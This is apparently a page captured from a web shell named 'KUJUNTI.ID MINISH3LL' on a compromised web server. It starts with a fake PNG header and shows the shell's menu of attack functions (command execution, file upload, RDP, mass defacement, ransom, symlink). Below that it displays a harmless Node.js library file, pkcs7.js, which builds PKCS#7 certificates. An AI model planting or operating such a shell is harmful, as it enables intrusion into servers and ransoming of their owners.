\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/selfsigned/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/selfsigned/pkcs7.js


const pkijs = require("pkijs");
const nodeCrypto = require("crypto");

// Use Node.js native webcrypto
const crypto = nodeCrypto.webcrypto;

// Set up pkijs to use native crypto
// Note: This modifies global pkijs state. If the consumer also uses pkijs,
// they should set their own engine or use a version that supports per-instance engines.
let pkijsInitialized = false;

function ensurePkijsInitialized() {
  if (!pkijsInitialized) {
    pkijs.setEngine("nodeEngine", crypto, new pkijs.CryptoEngine({
      name: "",
      crypto: crypto,
      subtle: crypto.subtle
    }));
    pkijsInitialized = true;
  }
}

/**
 * Create PKCS#7 formatted certificate from PEM certificate
 *
 * @param {string} certPem - PEM formatted certificate
 * @returns {string} PKCS#7 PEM formatted certificate
 */
function createPkcs7(certPem) {
  ensurePkijsInitialized();

  // Parse the PEM certificate to get raw data
  const certLines = certPem.split('\n').filter(line =>
    !line.includes('BEGIN CERTIFICATE') &&
    !line.includes('END CERTIFICATE') &&
    line.trim()
  );
  const certBase64 = certLines.join('');
  const certBuffer = Buffer.from(certBase64, 'base64');

  // Parse certificate using pkijs
  const asn1Cert = pkijs.Certificate.fromBER(certBuffer);

  // Create PKCS#7 SignedData structure
  const cmsSigned = new pkijs.SignedData({
    version: 1,
    encapContentInfo: new pkijs.EncapsulatedContentInfo({
      eContentType: "1.2.840.113549.1.7.1" // data
    }),
    certificates: [asn1Cert]
  });

  // Wrap in ContentInfo
  const cmsSignedSchema = cmsSigned.toSchema();
  const cmsContentInfo = new pkijs.ContentInfo({
    contentType: "1.2.840.113549.1.7.2", // signedData
    content: cmsSignedSchema
  });

  // Convert to DER and then PEM
  const cmsSignedDer = cmsContentInfo.toSchema().toBER(false);
  const pkcs7Pem =
    '-----BEGIN PKCS7-----\n' +
    Buffer.from(cmsSignedDer).toString('base64').match(/.{1,64}/g).join('\n') +
    '\n-----END PKCS7-----\n';

  return pkcs7Pem;
}

module.exports = { createPkcs7 };

© KUJUNTI.ID